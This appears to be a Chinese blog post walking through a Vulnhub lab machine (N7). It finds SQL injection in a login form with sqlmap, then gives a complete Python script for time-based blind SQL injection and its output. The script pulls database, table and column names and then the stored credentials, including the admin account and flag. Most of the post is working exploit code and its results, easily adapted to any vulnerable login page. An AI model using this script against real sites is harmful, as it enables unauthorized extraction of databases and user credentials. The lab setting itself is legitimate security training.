实验环境

攻击主机IP:172.18.53.145

目标主机IP:172.18.53.11

此处的靶场是Vulnhub中的WEB MACHINE: (N7)

靶场测试

访问靶场的登录页面,使用sqlmap测试该页面是否存在SQL注入



首先,使用Burpsuite在登录时抓包



将这个数据包保存下来





利用sqlmap,指定刚保存的post数据文件进行测试。

-r指定文件,-p指定测试参数,先测试下user参数

sqlmap -r post.txt -p user --dbs



发现存在SQL注册,且读出了四个数据库,接着尝试编写脚本进行注入。

脚本编写

首先通过时间盲注循环判断当前数据库名的长度,将该语句作为payload发送到目标主机

select if(length((select database()))=1,sleep(3),1))

如果目标主机响应的时间超过3秒,那么可以判断该处猜测的值是对的

# 判断长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break

然后根据数据库名的长度,使用下面的payload循环判断数据库名每一位的值,同样,根据目标主机的响应时间判断

select if(ascii(substr((select database()),0,1))=ascii,sleep(3),1)

判断代码逻辑如下:

# 判断名字
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)

最后,最后,用同样的逻辑判断数据表名、数据列名和每一列对应的值。

完整代码如下:

import requests
import string
import sys # 所有可打印字符
all = string.printable # 目标主机URL
url = "http://172.18.53.11/enter_network/" headers = {"Content-Type":"application/x-www-form-urlencoded"} # 获取数据库名
def extract_db_name():
print("[+] Extracting db name")
db_name = [] # 判断数据库名长度
for n in range(1,100):
payload = {"user":"\' or (select if(length((select database()))=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data=payload, headers=headers)
if r.elapsed.total_seconds() > 3:
db_name_len = n
break
print("[+] the length of db name: " + str(db_name_len)) # 获取数据库名
print("[+] the name of db: ", end='')
for i in range(1, db_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select database())," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
db_name.append(c)
if c == ",":
print("")
continue
print(c, end='', flush=True)
print("\n")
return db_name # 获取数据表的内容
def extract_tables(db_name):
db_name = "".join(db_name)
print("[+] Finding number of table in current db")
table_name = [] # 判断当前数据库中存在几张数据表
for n in range(1, 50):
payload = {"user":"\' or (select if((select count(table_name) from information_schema.tables where table_schema=\'" + db_name +"\')=" + str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_num = n
break
print("[+] Finding " + str(table_num) + " tables in current db") # 判断所有数据表名的长度
print("[+] Finding the name of table in current db: ")
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1))=" + str(n) + ",sleep(3),1))#", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name_len = n
break # 获取当前数据库中所有的数据表
for i in range(1, table_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'" + db_name + "\' limit 0,1),"+ str(i) +",1))="+str(ord(c))+",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
table_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n") # 是否继续获取列名
column_name_inject = input("Show the name of column? [y/n]")
if column_name_inject == "y" or column_name_inject == "yes":
pass
else:
sys.exit() table_name = "".join(table_name)
table_name = table_name.split(",") # 获取数据表中的具体内容
for table in table_name:
print("[+] Finding the column name of " + table)
columns_name = [] # 判断数据表中所有列名的长度
for n in range(1, 100):
payload = {"user":"\' or (select if(length((select group_concat(column_name) from information_schema.columns where table_name=\'" + table + "\' limit 0,1))= "+ str(n) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
column_name_len = n
break # 获取数据表的列名
for i in range(1, column_name_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'"+ table + "\' limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #", "pass":"1", "sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_name.append(c)
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("\n") # 是否继续获取数据表中每列的值
column_value_inject = input("Show the value of column? [y/n]:")
if column_value_inject == "y" or column_value_inject == "yes":
pass
else:
sys.exit() columns_name = "".join(columns_name)
columns_name = columns_name.split(",") # 获取每列的内容
for column in columns_name:
column = "".join(column)
print("[+] Finding the value of " + column) # 判断数据表所有列内容的长度
for n in range(1, 1000):
payload = {"user":"\' or (select if(length((select group_concat(" + column + ") from " + table + " limit 0,1))= "+ str(n) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
columns_values_len = n
break
# 获取数据表中每列的值
for i in range(1, columns_values_len + 1):
for c in all:
payload = {"user":"\' or (select if(ascii(substr((select group_concat(" + column + ") from " + table + " limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + ",sleep(3),1)) #","pass":"1","sub":"SEND"}
r = requests.post(url, data = payload, headers = headers)
if r.elapsed.total_seconds() > 3:
if c == ",":
print("")
continue
print(c, end="", flush=True)
print("") try:
db_name = extract_db_name() # 获取当前数据库名
user_input = input("Show the name of table? [y/n]:") # 是否继续获取表名
if user_input == "y" or user_input == "yes":
extract_tables(db_name)
else:
sys.exit()
print("Done!")
except KeyboardInterrupt:
print("")
print("[+] Exiting...")
sys.exit()

代码执行结果:

┌──(kali㉿kali)-[~/tools]
└─$ python sqli.py
[+] Extracting db name...
[+] the length of db name: 7
[+] the name of db: Machine Show the name of table? [y/n]:y
[+] Finding number of table in current db...
[+] Finding 1 tables in current db...
[+] Finding the name of table in current db:
login Show the name of column? [y/n]y
[+] Finding the column name of login
username
password
role Show the value of column? [y/n]y
[+] Finding the value of username
administrator
[+] Finding the value of password
FLAG{N7:KSA_01}
[+] Finding the value of role
admin
Done!

Python实现SQL注入脚本的更多相关文章

  1. phpcms v9 sql注入脚本

    phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...

  2. python防止sql注入的方法

    python防止sql注入的方法: 1. 使用cursor.execute(sql, args)的参数位: sql_str = "select * from py_msgcontrol.py ...

  3. python 打造一个sql注入脚本 (一)

    0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...

  4. Python防止sql注入

    看了网上文章,说的都挺好的,给cursor.execute传递格式串和参数,就能防止注入,但是我写了代码,却死活跑不通,怀疑自己用了一个假的python 最后,发现原因可能是不同的数据库,对于字符串的 ...

  5. 笔记:Python防止SQL注入

    非安全的方式,使用动态拼接SQL 输入' or 1 = 1 or '1 sql ="""SELECT * FROM goods WHERE name = '%s';&qu ...

  6. 常规SQL注入脚本

    一:union报错注入 猜字段长度:order by 28 先显示位http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9 当前数 ...

  7. SQL注入脚本(基于时间)

    #encoding=utf-8 import httplib import time import string import sys import urllib header = {'Accept' ...

  8. python 防止sql注入字符串拼接的正确用法

    在使用pymysql模块时,在使用字符串拼接的注意事项错误用法1 sql='select * from where id="%d" and name="%s" ...

  9. 手动方式SQL注入脚本命令之精华版

    .判断是否有注入;and = ;and = .初步判断是否是mssql ;and user> .注入参数是字符and [查询条件] and = .搜索时没过滤参数的and [查询条件] and ...

  10. 禁用substr、substring、mid函数的sql注入脚本

    #encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = l ...

随机推荐

  1. STC89C52驱动MAX7219LED点阵级联, 文字滚动效果

    级联下的传值方式 级联下, N个MAX7219相当于组成了一个8*N bit宽度的锁存器, 如果需要对第M个7219进行写入, 需要做M次寻址+写入后拉高CS, 才能到达这个7219. 如果仅仅对这个 ...

  2. 51单片机(STC89C52)的中断和定时器

    STC89C51/STC89C52 Timer 内部不带振荡源, 必须外接晶振 采用11.0592MHz,或22.1184MHz,可方便得到串口通讯的标准时钟. STC89和STC90系列为12T, ...

  3. 【Unity3D】选中物体消融特效

    1 消融特效原理 ​ 消融特效 中基于 Shader Graph 实现了消融特效,本文将基于 Shader 实现消融特效. ​ 当前实现消融特效的方法主要有 Alpha 测试消融.clip(或 dis ...

  4. pycharm—flask创建简单web项目

    1.系统 系统 版本 OS win 10 pycharm 专业版2022.3.1 2.引入flask包 pip install flask 3.项目目录展示.代码.浏览器访问 from flask i ...

  5. F - Subarrays题解

    F - Subarrays 题意:给你一个序列,问这个序列里有多少个子串的和能被k整除. 思路:求前缀和,然后每个位置对k取模,模数相等的位置之间,是一个满足条件的字串. 因为求的是前缀和,所以取模后 ...

  6. WinRT: 可能是 Windows 上最好用的 Native ABI 和远程调用方案

    前言 Windows 自从很久以来就有一个叫做 COM 的 Native ABI.这是一套面向对象的 ABI,在此之上 Windows 基于 COM ABI 暴露了各种各样的 API,例如 Manag ...

  7. 跨越千年医学对话:用AI技术解锁中医古籍知识,构建能够精准问答的智能语言模型,成就专业级古籍解读助手(LLAMA)

    跨越千年医学对话:用AI技术解锁中医古籍知识,构建能够精准问答的智能语言模型,成就专业级古籍解读助手(LLAMA) 介绍:首先在 Ziya-LLaMA-13B-V1基线模型的基础上加入中医教材.中医各 ...

  8. win32 - 使用LookupAccountName查找SID

    可以使用LookupAccountNameA获取sid. LookupAccountName函数接受系统名称和帐户作为输入.它检索该帐户的安全标识符(SID)以及在其上找到该帐户的域的名称. 使用此a ...

  9. RESTful API 介绍,设计

    一:RESTful介绍 在互联网发展过程中,最开始是以html静态网页展示内容,url的表现形式一般为 http://www.example.com/getInfo.html:后来随着需求不断提高以及 ...

  10. RN运行ios报错No matching function for call to 'RCTBridgeModuleNameForClass'

    xcode更新12.5后,ios运行报错No matching function for call to 'RCTBridgeModuleNameForClass' 解决方法: 在ios/Podfil ...